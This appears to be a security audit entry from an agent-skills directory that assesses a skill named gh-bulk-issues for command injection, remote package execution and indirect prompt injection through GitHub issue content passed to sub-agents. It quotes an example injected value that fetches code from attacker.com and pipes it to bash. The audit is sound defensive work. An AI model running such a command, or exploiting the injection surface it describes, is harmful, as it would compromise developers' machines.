The Agent Skills Directory

[COMMAND_EXECUTION]: The skill performs shell-level orchestration using user-provided input ($ARGUMENTS). Specifically, the pattern git worktree add ../$(basename $PWD)-issue-<NUMBER> -b fix/issue-<NUMBER> and the pnpx tsx execution use the <NUMBER> variable directly in a shell context. If this input is not strictly validated as numeric, an attacker could provide crafted strings (e.g., 123; curl attacker.com/exploit | bash) to achieve arbitrary command execution.
[EXTERNAL_DOWNLOADS]: The skill uses pnpm i and pnpx to fetch and execute dependencies from the NPM registry. While these are standard developer tools, they represent the execution of remote code in the local environment.
[PROMPT_INJECTION]: The skill has a surface for indirect prompt injection. It ingests data from GitHub issues (untrusted external source) via gh issue list and ISSUE_SUMMARY files. This content is then interpolated into prompts for sub-agent instances (e.g., Activate the understand-issue skill for issue <NUMBER>).
Ingestion points: gh issue list results, GitHub issue descriptions, and ISSUE_SUMMARY files.
Boundary markers: None present; external content is used directly in task instructions.
Capability inventory: The skill has extensive shell capabilities including git, pnpm, gh CLI, and process management (PID tracking).
Sanitization: No sanitization or validation of the fetched issue content is performed before processing.

gh-bulk-issues